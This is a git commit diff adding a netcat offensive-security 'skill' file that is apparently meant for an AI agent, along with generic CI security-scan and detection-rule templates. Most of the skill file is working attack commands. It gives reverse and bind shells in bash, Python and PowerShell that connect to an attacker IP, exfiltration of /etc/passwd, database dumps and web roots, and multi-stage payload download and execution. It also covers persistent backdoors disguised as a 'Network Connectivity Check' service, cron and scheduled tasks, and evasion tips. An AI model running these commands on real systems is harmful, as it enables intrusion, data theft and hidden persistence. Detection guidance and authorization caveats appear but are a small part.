Initial commit

2025-11-29 17:51:02 +08:00
commit ff1f4bd119
252 changed files with 72682 additions and 0 deletions
--- a/skills/offsec/network-netcat/SKILL.md
+++ b/skills/offsec/network-netcat/SKILL.md
@@ -0,0 +1,566 @@
+---
+name: network-netcat
+description: >
+  Network utility for reading and writing data across TCP/UDP connections, port scanning, file
+  transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
+  port availability, (2) Creating reverse shells and bind shells for authorized penetration testing,
+  (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service
+  enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network
+  segmentation.
+version: 0.1.0
+maintainer: sirappsec@gmail.com
+category: offsec
+tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
+frameworks: [MITRE-ATT&CK, PTES]
+dependencies:
+  packages: [netcat, ncat]
+references:
+  - https://nmap.org/ncat/guide/index.html
+  - https://attack.mitre.org/techniques/T1059/
+---
+
+# Netcat Network Utility
+
+## Overview
+
+Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.
+
+**IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.
+
+## Quick Start
+
+Basic connection and listening:
+
+```bash
+# Listen on port 4444
+nc -lvnp 4444
+
+# Connect to remote host
+nc <target-ip> <port>
+
+# Banner grab a service
+echo "" | nc <target-ip> 80
+
+# Simple port scan
+nc -zv <target-ip> 1-1000
+```
+
+## Core Workflow
+
+### Netcat Operations Workflow
+
+Progress:
+[ ] 1. Verify authorization for network testing
+[ ] 2. Test basic connectivity and port availability
+[ ] 3. Perform banner grabbing and service enumeration
+[ ] 4. Establish reverse or bind shells (if authorized)
+[ ] 5. Transfer files between systems
+[ ] 6. Create relay and pivot connections
+[ ] 7. Document findings and clean up connections
+[ ] 8. Remove any backdoors or persistence mechanisms
+
+Work through each step systematically. Check off completed items.
+
+### 1. Authorization Verification
+
+**CRITICAL**: Before any netcat operations:
+- Confirm written authorization for network testing
+- Verify in-scope targets and allowed activities
+- Understand restrictions on shell access and data exfiltration
+- Document emergency contact procedures
+- Confirm cleanup requirements post-engagement
+
+### 2. Basic Connectivity Testing
+
+Test network connectivity and port availability:
+
+```bash
+# TCP connection test
+nc -vz <target-ip> <port>
+
+# UDP connection test
+nc -uvz <target-ip> <port>
+
+# Test port range
+nc -zv <target-ip> 20-30
+
+# Verbose output
+nc -v <target-ip> <port>
+```
+
+**Connection test results**:
+- **Connection succeeded**: Port is open and accepting connections
+- **Connection refused**: Port is closed
+- **Connection timeout**: Port is filtered by firewall or no response
+
+### 3. Banner Grabbing
+
+Extract service banner information:
+
+```bash
+# HTTP banner grab
+echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
+
+# SMTP banner grab
+echo "QUIT" | nc <target-ip> 25
+
+# FTP banner grab
+echo "QUIT" | nc <target-ip> 21
+
+# SSH banner grab
+nc <target-ip> 22
+
+# Generic banner grab with timeout
+timeout 2 nc <target-ip> <port>
+```
+
+**Service-specific banner grabbing**:
+
+```bash
+# MySQL banner
+nc <target-ip> 3306
+
+# PostgreSQL banner
+nc <target-ip> 5432
+
+# SMB/CIFS banner
+nc <target-ip> 445
+
+# RDP banner
+nc <target-ip> 3389
+```
+
+### 4. Port Scanning
+
+Simple port scanning (note: nmap is more comprehensive):
+
+```bash
+# Scan single port
+nc -zv <target-ip> 80
+
+# Scan port range
+nc -zv <target-ip> 1-1000
+
+# Scan specific ports
+for port in 21 22 23 25 80 443 3389; do
+  nc -zv <target-ip> $port 2>&1 | grep succeeded
+done
+
+# Fast UDP scan
+nc -uzv <target-ip> 53,161,500
+```
+
+**Limitations of netcat port scanning**:
+- Slower than dedicated port scanners
+- Limited stealth capabilities
+- No service version detection
+- Better for quick ad-hoc testing
+
+### 5. Reverse Shells (Authorized Testing Only)
+
+Establish reverse shell connections from target to attacker:
+
+**Attacker machine (listener)**:
+```bash
+# Start listener
+nc -lvnp 4444
+
+# With verbose output
+nc -lvnp 4444 -v
+```
+
+**Target machine (connector)**:
+
+```bash
+# Linux reverse shell
+nc <attacker-ip> 4444 -e /bin/bash
+
+# If -e not available (OpenBSD netcat)
+rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
+
+# Python reverse shell
+python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
+
+# Bash reverse shell
+bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
+
+# Windows reverse shell (with ncat)
+ncat.exe <attacker-ip> 4444 -e cmd.exe
+
+# PowerShell reverse shell
+powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
+```
+
+**Upgrade reverse shell to interactive TTY**:
+
+```bash
+# Python PTY upgrade
+python -c 'import pty; pty.spawn("/bin/bash")'
+python3 -c 'import pty; pty.spawn("/bin/bash")'
+
+# Background shell with Ctrl+Z, then:
+stty raw -echo; fg
+export TERM=xterm
+export SHELL=/bin/bash
+```
+
+### 6. Bind Shells (Authorized Testing Only)
+
+Create listening shell on target machine:
+
+**Target machine (listener with shell)**:
+```bash
+# Linux bind shell
+nc -lvnp 4444 -e /bin/bash
+
+# Without -e flag
+rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
+
+# Windows bind shell
+ncat.exe -lvnp 4444 -e cmd.exe
+```
+
+**Attacker machine (connect to bind shell)**:
+```bash
+nc <target-ip> 4444
+```
+
+**Bind shell vs Reverse shell**:
+- **Bind Shell**: Target listens, attacker connects (blocked by outbound firewalls)
+- **Reverse Shell**: Attacker listens, target connects (bypasses inbound firewall rules)
+
+### 7. File Transfers
+
+Transfer files between systems:
+
+**Receiving file (listener)**:
+```bash
+# Receive file on port 5555
+nc -lvnp 5555 > received_file.txt
+```
+
+**Sending file (connector)**:
+```bash
+# Send file to listener
+nc <receiver-ip> 5555 < file_to_send.txt
+
+# With progress indication
+pv file_to_send.txt | nc <receiver-ip> 5555
+```
+
+**Directory/archive transfer**:
+
+```bash
+# Sender: tar and compress directory, send via netcat
+tar czf - /path/to/directory | nc <receiver-ip> 5555
+
+# Receiver: receive and extract
+nc -lvnp 5555 | tar xzf -
+```
+
+**Large file transfer with verification**:
+
+```bash
+# Sender: calculate checksum before sending
+md5sum large_file.iso
+cat large_file.iso | nc <receiver-ip> 5555
+
+# Receiver: receive and verify
+nc -lvnp 5555 > large_file.iso
+md5sum large_file.iso
+```
+
+### 8. Encrypted File Transfer
+
+Use ncat with SSL for encrypted transfers:
+
+```bash
+# Receiver with SSL
+ncat -lvnp 5555 --ssl > received_file.txt
+
+# Sender with SSL
+ncat <receiver-ip> 5555 --ssl < file_to_send.txt
+
+# Generate self-signed certificate for ncat
+openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
+ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key
+```
+
+### 9. Relay and Pivoting
+
+Create relay connections through compromised hosts:
+
+```bash
+# Simple relay: forward connections from port 8080 to internal host
+mkfifo backpipe
+nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe
+
+# Two-way relay
+nc -lvnp 8080 -c "nc <internal-target-ip> 80"
+
+# Use ncat for more reliable relay
+ncat -lvnp 8080 --sh-exec "ncat <internal-target-ip> 80"
+```
+
+**Pivot chain example**:
+
+```bash
+# Compromised Host A (DMZ): relay to internal network
+nc -lvnp 9090 -c "nc 192.168.1.100 3389"
+
+# Attacker: connect through pivot
+nc <compromised-host-a> 9090
+```
+
+### 10. Chat and Communication
+
+Simple chat server for covert communication:
+
+```bash
+# Host 1 (listener)
+nc -lvnp 6666
+
+# Host 2 (connector)
+nc <host1-ip> 6666
+```
+
+**Two-way communication**: Both parties can type and messages appear on both sides.
+
+## Security Considerations
+
+### Authorization & Legal Compliance
+
+- **Written Permission**: Obtain explicit authorization for all netcat operations
+- **Shell Access**: Reverse/bind shells are invasive, require clear authorization
+- **Data Exfiltration**: File transfers may trigger DLP alerts
+- **Covert Channels**: Relay connections can bypass security controls
+- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement
+
+### Operational Security
+
+- **Encryption**: Use ncat with --ssl for encrypted connections
+- **Logging**: Netcat leaves minimal forensic artifacts but connections are logged
+- **Detection**: IDS/IPS may detect common reverse shell patterns
+- **Egress Filtering**: Outbound connections may be blocked
+- **Port Selection**: Use common ports (80, 443, 53) to blend with normal traffic
+
+### Audit Logging
+
+Document all netcat activities:
+- Connection timestamps and duration
+- Source and destination IP addresses and ports
+- Type of operation (shell, file transfer, relay)
+- Commands executed through shells
+- Files transferred
+- Any errors or connection failures
+
+### Compliance
+
+- **MITRE ATT&CK**:
+  - T1059.004 (Unix Shell)
+  - T1071.001 (Web Protocols)
+  - T1090 (Proxy/Multi-hop Proxy)
+  - T1105 (Ingress Tool Transfer)
+- **PTES**: Exploitation and post-exploitation phases
+- **OWASP**: Command injection testing methodology
+
+## Common Patterns
+
+### Pattern 1: Web Server Vulnerability Validation
+
+```bash
+# Test for command injection vulnerability
+echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
+
+# SQL injection parameter testing
+echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80
+
+# Test HTTP methods
+echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80
+```
+
+### Pattern 2: Multi-stage Payload Delivery
+
+```bash
+# Stage 1: Attacker listener
+nc -lvnp 4444 > stage2_payload.sh
+
+# Stage 2: Target downloads next stage
+nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
+chmod +x /tmp/stage2.sh
+/tmp/stage2.sh
+
+# Stage 3: Execute downloaded payload
+# (payload establishes full reverse shell)
+```
+
+### Pattern 3: Data Exfiltration
+
+```bash
+# Exfiltrate sensitive files
+cat /etc/passwd | nc <attacker-ip> 5555
+
+# Exfiltrate database dump
+mysqldump -u root -p database_name | nc <attacker-ip> 5555
+
+# Compress and exfiltrate directory
+tar czf - /var/www/html | nc <attacker-ip> 5555
+
+# Receiver
+nc -lvnp 5555 > exfiltrated_data.tar.gz
+```
+
+### Pattern 4: Persistent Backdoor (Authorized Testing)
+
+```bash
+# Create systemd service for persistence (Linux)
+cat > /etc/systemd/system/netcat-backdoor.service <<EOF
+[Unit]
+Description=Network Connectivity Check
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
+Restart=always
+RestartSec=60
+
+[Install]
+WantedBy=multi-user.target
+EOF
+
+systemctl enable netcat-backdoor.service
+systemctl start netcat-backdoor.service
+
+# Cron-based persistence
+(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
+
+# Windows scheduled task
+schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru System
+```
+
+## Integration Points
+
+### Metasploit Integration
+
+Use netcat as post-exploitation utility:
+
+```bash
+# Metasploit session backgrounding and netcat shell
+meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
+
+# Upload netcat to target
+meterpreter > upload /usr/bin/nc /tmp/nc
+meterpreter > shell
+sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
+```
+
+### Scripting and Automation
+
+```bash
+#!/bin/bash
+# automated_shell_catcher.sh - Automatic reverse shell handler
+
+PORT=4444
+LOG_DIR="shells/$(date +%Y%m%d)"
+mkdir -p "$LOG_DIR"
+
+while true; do
+  TIMESTAMP=$(date +%H%M%S)
+  echo "[*] Listening on port $PORT..."
+  nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
+  echo "[*] Connection closed, restarting listener..."
+  sleep 2
+done
+```
+
+## Troubleshooting
+
+### Issue: "nc: command not found"
+
+**Solutions**:
+```bash
+# Install netcat (Ubuntu/Debian)
+sudo apt-get install netcat-traditional
+sudo apt-get install netcat-openbsd
+
+# Install ncat (Nmap project, more features)
+sudo apt-get install ncat
+
+# Check available version
+which nc ncat netcat
+```
+
+### Issue: "-e flag not supported"
+
+**Solution**: Use alternative technique with named pipes:
+
+```bash
+# Linux reverse shell without -e
+rm /tmp/f; mkfifo /tmp/f
+cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
+
+# Or use ncat which supports -e
+ncat <attacker-ip> 4444 -e /bin/bash
+```
+
+### Issue: Connection Dies Immediately
+
+**Causes**:
+- Firewall blocking connection
+- No interactive prompt keeping connection alive
+- Process killed by security software
+
+**Solutions**:
+```bash
+# Keep connection alive with while loop
+while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
+
+# Use ncat with keep-alive
+ncat -lvnp 4444 --keep-open
+
+# Add reconnection logic
+while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
+```
+
+### Issue: Can't Get Interactive Shell
+
+**Solutions**:
+```bash
+# Upgrade to PTY shell
+python -c 'import pty; pty.spawn("/bin/bash")'
+
+# Set terminal type
+export TERM=xterm
+
+# Enable raw mode (for Ctrl+C, etc.)
+# On attacker machine, background shell with Ctrl+Z:
+stty raw -echo; fg
+```
+
+## Defensive Considerations
+
+Organizations can detect netcat activity by:
+
+- **Process Monitoring**: Detect nc/ncat process execution
+- **Network Monitoring**: Unusual outbound connections to non-standard ports
+- **Command-Line Auditing**: Monitor for -e flag usage
+- **Traffic Analysis**: Unencrypted shell traffic patterns
+- **File Integrity**: Detect unauthorized netcat binaries
+
+Enhance defensive posture:
+- Block outbound connections to non-business ports
+- Monitor for process execution from unusual locations
+- Deploy EDR solutions to detect reverse shell patterns
+- Enable egress filtering on firewalls
+- Audit Sysmon Event ID 1 (Process Creation) for nc/ncat
+- Detect named pipe creation (Linux: mkfifo)
+- Monitor cron jobs and systemd services for suspicious entries
+
+## References
+
+- [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html)
+- [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
+- [MITRE ATT&CK: Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059/)
+- [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation)
+- [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
--- a/skills/offsec/network-netcat/assets/.gitkeep
+++ b/skills/offsec/network-netcat/assets/.gitkeep
@@ -0,0 +1,9 @@
+# Assets Directory
+
+Place files that will be used in the output Claude produces:
+- Templates
+- Configuration files
+- Images/logos
+- Boilerplate code
+
+These files are NOT loaded into context but copied/modified in output.
--- a/skills/offsec/network-netcat/assets/ci-config-template.yml
+++ b/skills/offsec/network-netcat/assets/ci-config-template.yml
@@ -0,0 +1,357 @@
+# Security-Enhanced CI/CD Pipeline Template
+#
+# This template demonstrates security best practices for CI/CD pipelines.
+# Adapt this template to your specific security tool and workflow needs.
+#
+# Key Security Features:
+# - SAST (Static Application Security Testing)
+# - Dependency vulnerability scanning
+# - Secrets detection
+# - Infrastructure-as-Code security scanning
+# - Container image scanning
+# - Security artifact uploading for compliance
+
+name: Security Scan Pipeline
+
+on:
+  push:
+    branches: [main, develop]
+  pull_request:
+    branches: [main, develop]
+  schedule:
+    # Run weekly security scans on Sunday at 2 AM UTC
+    - cron: '0 2 * * 0'
+  workflow_dispatch:  # Allow manual trigger
+
+# Security: Restrict permissions to minimum required
+permissions:
+  contents: read
+  security-events: write  # For uploading SARIF results
+  pull-requests: write    # For commenting on PRs
+
+env:
+  # Configuration
+  SECURITY_SCAN_FAIL_ON: 'critical,high'  # Fail build on these severities
+  REPORT_DIR: 'security-reports'
+
+jobs:
+  # Job 1: Static Application Security Testing (SAST)
+  sast-scan:
+    name: SAST Security Scan
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0  # Full history for better analysis
+
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: '3.11'
+
+      - name: Run SAST Scanner
+        run: |
+          # Example: Using Semgrep for SAST
+          pip install semgrep
+          semgrep --config=auto \
+            --json \
+            --output ${{ env.REPORT_DIR }}/sast-results.json \
+            . || true
+
+          # Alternative: Bandit for Python projects
+          # pip install bandit
+          # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json
+
+      - name: Process SAST Results
+        run: |
+          # Parse results and fail on critical/high severity
+          python3 -c "
+          import json
+          import sys
+
+          with open('${{ env.REPORT_DIR }}/sast-results.json') as f:
+              results = json.load(f)
+
+          critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR'])
+          high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING'])
+
+          print(f'Critical findings: {critical}')
+          print(f'High findings: {high}')
+
+          if critical > 0:
+              print('❌ Build failed: Critical security issues found')
+              sys.exit(1)
+          elif high > 0:
+              print('⚠️  Warning: High severity issues found')
+              # Optionally fail on high severity
+              # sys.exit(1)
+          else:
+              print('✅ No critical security issues found')
+          "
+
+      - name: Upload SAST Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: sast-results
+          path: ${{ env.REPORT_DIR }}/sast-results.json
+          retention-days: 30
+
+  # Job 2: Dependency Vulnerability Scanning
+  dependency-scan:
+    name: Dependency Vulnerability Scan
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: '3.11'
+
+      - name: Scan Python Dependencies
+        if: hashFiles('requirements.txt') != ''
+        run: |
+          pip install safety
+          safety check \
+            --json \
+            --output ${{ env.REPORT_DIR }}/safety-results.json \
+            || true
+
+      - name: Scan Node Dependencies
+        if: hashFiles('package.json') != ''
+        run: |
+          npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true
+
+      - name: Process Dependency Results
+        run: |
+          # Check for critical vulnerabilities
+          if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then
+            critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))")
+            echo "Critical vulnerabilities: $critical_count"
+            if [ "$critical_count" -gt "0" ]; then
+              echo "❌ Build failed: Critical vulnerabilities in dependencies"
+              exit 1
+            fi
+          fi
+
+      - name: Upload Dependency Scan Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: dependency-scan-results
+          path: ${{ env.REPORT_DIR }}/
+          retention-days: 30
+
+  # Job 3: Secrets Detection
+  secrets-scan:
+    name: Secrets Detection
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0  # Full history to scan all commits
+
+      - name: Run Gitleaks
+        uses: gitleaks/gitleaks-action@v2
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITLEAKS_ENABLE_SUMMARY: true
+
+      - name: Alternative - TruffleHog Scan
+        if: false  # Set to true to enable
+        run: |
+          pip install truffleHog
+          trufflehog --json --regex --entropy=True . \
+            > ${{ env.REPORT_DIR }}/trufflehog-results.json || true
+
+      - name: Upload Secrets Scan Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: secrets-scan-results
+          path: ${{ env.REPORT_DIR }}/
+          retention-days: 30
+
+  # Job 4: Container Image Scanning
+  container-scan:
+    name: Container Image Security Scan
+    runs-on: ubuntu-latest
+    if: hashFiles('Dockerfile') != ''
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Build Docker Image
+        run: |
+          docker build -t app:${{ github.sha }} .
+
+      - name: Run Trivy Scanner
+        uses: aquasecurity/trivy-action@master
+        with:
+          image-ref: app:${{ github.sha }}
+          format: 'sarif'
+          output: '${{ env.REPORT_DIR }}/trivy-results.sarif'
+          severity: 'CRITICAL,HIGH'
+
+      - name: Upload Trivy Results to GitHub Security
+        if: always()
+        uses: github/codeql-action/upload-sarif@v3
+        with:
+          sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif'
+
+      - name: Upload Container Scan Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: container-scan-results
+          path: ${{ env.REPORT_DIR }}/
+          retention-days: 30
+
+  # Job 5: Infrastructure-as-Code Security Scanning
+  iac-scan:
+    name: IaC Security Scan
+    runs-on: ubuntu-latest
+    if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != ''
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Run Checkov
+        run: |
+          pip install checkov
+          checkov -d . \
+            --output json \
+            --output-file ${{ env.REPORT_DIR }}/checkov-results.json \
+            --quiet \
+            || true
+
+      - name: Run tfsec (for Terraform)
+        if: hashFiles('**/*.tf') != ''
+        run: |
+          curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
+          tfsec . \
+            --format json \
+            --out ${{ env.REPORT_DIR }}/tfsec-results.json \
+            || true
+
+      - name: Process IaC Results
+        run: |
+          # Fail on critical findings
+          if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then
+            critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))")
+            echo "Failed checks: $critical_count"
+            if [ "$critical_count" -gt "0" ]; then
+              echo "⚠️  Warning: IaC security issues found"
+              # Optionally fail the build
+              # exit 1
+            fi
+          fi
+
+      - name: Upload IaC Scan Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: iac-scan-results
+          path: ${{ env.REPORT_DIR }}/
+          retention-days: 30
+
+  # Job 6: Security Report Generation and Notification
+  security-report:
+    name: Generate Security Report
+    runs-on: ubuntu-latest
+    needs: [sast-scan, dependency-scan, secrets-scan]
+    if: always()
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Download All Scan Results
+        uses: actions/download-artifact@v4
+        with:
+          path: all-results/
+
+      - name: Generate Consolidated Report
+        run: |
+          # Consolidate all security scan results
+          mkdir -p consolidated-report
+
+          cat > consolidated-report/security-summary.md << 'EOF'
+          # Security Scan Summary
+
+          **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC")
+          **Commit**: ${{ github.sha }}
+          **Branch**: ${{ github.ref_name }}
+
+          ## Scan Results
+
+          ### SAST Scan
+          See artifacts: `sast-results`
+
+          ### Dependency Scan
+          See artifacts: `dependency-scan-results`
+
+          ### Secrets Scan
+          See artifacts: `secrets-scan-results`
+
+          ### Container Scan
+          See artifacts: `container-scan-results`
+
+          ### IaC Scan
+          See artifacts: `iac-scan-results`
+
+          ---
+
+          For detailed results, download scan artifacts from this workflow run.
+          EOF
+
+      - name: Comment on PR (if applicable)
+        if: github.event_name == 'pull_request'
+        uses: actions/github-script@v7
+        with:
+          script: |
+            const fs = require('fs');
+            const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8');
+
+            github.rest.issues.createComment({
+              issue_number: context.issue.number,
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              body: report
+            });
+
+      - name: Upload Consolidated Report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: consolidated-security-report
+          path: consolidated-report/
+          retention-days: 90
+
+# Security Best Practices Demonstrated:
+#
+# 1. ✅ Minimal permissions (principle of least privilege)
+# 2. ✅ Multiple security scan types (defense in depth)
+# 3. ✅ Fail-fast on critical findings
+# 4. ✅ Secrets detection across full git history
+# 5. ✅ Container image scanning before deployment
+# 6. ✅ IaC scanning for misconfigurations
+# 7. ✅ Artifact retention for compliance audit trail
+# 8. ✅ SARIF format for GitHub Security integration
+# 9. ✅ Scheduled scans for continuous monitoring
+# 10. ✅ PR comments for developer feedback
+#
+# Compliance Mappings:
+# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging)
+# - PCI-DSS: 6.2, 6.5 (Secure development practices)
+# - NIST: SA-11 (Developer Security Testing)
+# - OWASP: Integrated security testing throughout SDLC
--- a/skills/offsec/network-netcat/assets/rule-template.yaml
+++ b/skills/offsec/network-netcat/assets/rule-template.yaml
@@ -0,0 +1,355 @@
+# Security Rule Template
+#
+# This template demonstrates how to structure security rules/policies.
+# Adapt this template to your specific security tool (Semgrep, OPA, etc.)
+#
+# Rule Structure Best Practices:
+# - Clear rule ID and metadata
+# - Severity classification
+# - Framework mappings (OWASP, CWE)
+# - Remediation guidance
+# - Example vulnerable and fixed code
+
+rules:
+  # Example Rule 1: SQL Injection Detection
+  - id: sql-injection-string-concatenation
+    metadata:
+      name: "SQL Injection via String Concatenation"
+      description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries"
+      severity: "HIGH"
+      category: "security"
+      subcategory: "injection"
+
+      # Security Framework Mappings
+      owasp:
+        - "A03:2021 - Injection"
+      cwe:
+        - "CWE-89: SQL Injection"
+      mitre_attack:
+        - "T1190: Exploit Public-Facing Application"
+
+      # Compliance Standards
+      compliance:
+        - "PCI-DSS 6.5.1: Injection flaws"
+        - "NIST 800-53 SI-10: Information Input Validation"
+
+      # Confidence and Impact
+      confidence: "HIGH"
+      likelihood: "HIGH"
+      impact: "HIGH"
+
+      # References
+      references:
+        - "https://owasp.org/www-community/attacks/SQL_Injection"
+        - "https://cwe.mitre.org/data/definitions/89.html"
+        - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
+
+    # Languages this rule applies to
+    languages:
+      - python
+      - javascript
+      - java
+      - go
+
+    # Detection Pattern (example using Semgrep-style syntax)
+    pattern-either:
+      - pattern: |
+          cursor.execute($SQL + $VAR)
+      - pattern: |
+          cursor.execute(f"... {$VAR} ...")
+      - pattern: |
+          cursor.execute("..." + $VAR + "...")
+
+    # What to report when found
+    message: |
+      Potential SQL injection vulnerability detected. SQL query is constructed using
+      string concatenation or f-strings with user input. This allows attackers to
+      inject malicious SQL code.
+
+      Use parameterized queries instead:
+      - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
+      - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId])
+
+      See: https://owasp.org/www-community/attacks/SQL_Injection
+
+    # Suggested fix (auto-fix if supported)
+    fix: |
+      Use parameterized queries with placeholders
+
+    # Example vulnerable code
+    examples:
+      - vulnerable: |
+          # Vulnerable: String concatenation
+          user_id = request.GET['id']
+          query = "SELECT * FROM users WHERE id = " + user_id
+          cursor.execute(query)
+
+      - fixed: |
+          # Fixed: Parameterized query
+          user_id = request.GET['id']
+          query = "SELECT * FROM users WHERE id = ?"
+          cursor.execute(query, (user_id,))
+
+  # Example Rule 2: Hardcoded Secrets Detection
+  - id: hardcoded-secret-credential
+    metadata:
+      name: "Hardcoded Secret or Credential"
+      description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code"
+      severity: "CRITICAL"
+      category: "security"
+      subcategory: "secrets"
+
+      owasp:
+        - "A07:2021 - Identification and Authentication Failures"
+      cwe:
+        - "CWE-798: Use of Hard-coded Credentials"
+        - "CWE-259: Use of Hard-coded Password"
+
+      compliance:
+        - "PCI-DSS 8.2.1: Use of strong cryptography"
+        - "SOC 2 CC6.1: Logical access controls"
+        - "GDPR Article 32: Security of processing"
+
+      confidence: "MEDIUM"
+      likelihood: "HIGH"
+      impact: "CRITICAL"
+
+      references:
+        - "https://cwe.mitre.org/data/definitions/798.html"
+        - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
+
+    languages:
+      - python
+      - javascript
+      - java
+      - go
+      - ruby
+
+    pattern-either:
+      - pattern: |
+          password = "..."
+      - pattern: |
+          api_key = "..."
+      - pattern: |
+          secret = "..."
+      - pattern: |
+          token = "..."
+
+    pattern-not: |
+      $VAR = ""
+
+    message: |
+      Potential hardcoded secret detected. Hardcoding credentials in source code
+      is a critical security vulnerability that can lead to unauthorized access
+      if the code is exposed.
+
+      Use environment variables or a secrets management system instead:
+      - Python: os.environ.get('API_KEY')
+      - Node.js: process.env.API_KEY
+      - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc.
+
+      See: https://cwe.mitre.org/data/definitions/798.html
+
+    examples:
+      - vulnerable: |
+          # Vulnerable: Hardcoded API key
+          api_key = "sk-1234567890abcdef"
+          api.authenticate(api_key)
+
+      - fixed: |
+          # Fixed: Environment variable
+          import os
+          api_key = os.environ.get('API_KEY')
+          if not api_key:
+              raise ValueError("API_KEY environment variable not set")
+          api.authenticate(api_key)
+
+  # Example Rule 3: XSS via Unsafe HTML Rendering
+  - id: xss-unsafe-html-rendering
+    metadata:
+      name: "Cross-Site Scripting (XSS) via Unsafe HTML"
+      description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities"
